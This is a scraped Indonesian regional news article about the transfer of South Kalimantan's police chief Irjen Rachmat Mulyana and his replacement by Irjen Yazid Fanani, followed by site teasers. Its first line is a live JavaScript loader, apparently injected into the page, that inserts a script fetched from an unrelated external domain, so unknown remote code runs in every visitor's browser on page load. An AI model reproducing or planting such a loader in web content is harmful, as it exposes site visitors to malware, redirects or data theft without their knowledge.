(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sekitar sebulan meraih bintang dua, Irjen Rachmat Mulyana harus berpisah dengan jajaran Polda Kalsel. Hal ini lantaran tugas barunya sebagai Staf Ahli Kapolri, sebagaimana tertera dalam surat telegaram Kapolri Jenderal Tito Karnavian bernomor ST/2014/VIII/KEP/2018, Senin (13/8). Sebagai gantinya, Kapolri telah menunjuk Irjen Yazid Fanani yang sebelumnya menjabat perwira tinggi Baintelkam Polri yang ditugaskan di Badan Intelijen Nasional (BIN).
Perombakan ini tidak hanya terjadi di Kalsel, namun sejumlah jajaran petinggi di lingkungan Polri. Dalam telegram tersebut, disampaikan ada 15 perwira tinggi (pati) dan 20 perwira menengah tinggi yang dimutasi.
Ihwal rotasi kepemimpinan di jajaran Polda Kalsel ini dibenarkan Kabid Humas AKBP Mochamad Rifai. “Ya benar masalah telegram Kapolri tersebut,†ujarnya.
Selama menjabat sebagai Kapolda Kalsel, berbagai prestasi telah diraih Irjen Rachmat Mulyana. Yang paling besar, tentunya keberhasilan Irjen Rachmat membawa Polda Kalsel menjadi Polda Tipe A. Hal ini sebagaimana dikukuhkan pada peringatan HUT Bhayangkara Ke-72 lalu.
Selain itu, sejumlah kasus besar juga berhasil diungkap Irjen Rachmat. Di antaranya kasus sabu jaringan Malaysia dengan barang bukti 20 kg, kasus penggerebekan gudang penyimpanan pil zenith sebanyak 7 juta butir di sebuah ruko di Jalan A Yani Km 5,5 Banjarmasin Selatan dan di Teluk Tiram sebanyak 4 juta butir pada tahun 2017 lalu, pengungkapan kasus pencurian uang nasabah Bank Mandiri oleh oknum polisi senilai Rp 10 miliar, hingga juga membekuk oknum polisi yang melarikan tahanan narkoba.
Di era Irjen Rachmat Mulyana juga meluncurkan aplikasi pelayanan publik bernama SASIRANGAN sebagai bentuk penyikapan Kapolda Kalsel terhadap salah satu program prioritas Kapolri yang dinamakan Promoter (profesional, modern, dan terpercaya).
Di tengah berbagai prestasi tersebut, tantangan ke depan Polda Kalsel yang sekarang menyandang tipe A tentunya semakin berat. Termasuk terkait kekurangan yang harus dipenuhi yaitu kurang lebih 9 ribu personil kepolisian yang dibutuhkan.
Tentunya, ini menjadi tugas yang akan menanti Kapolda baru Irjen Pol Yazid Fanani. (rico)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.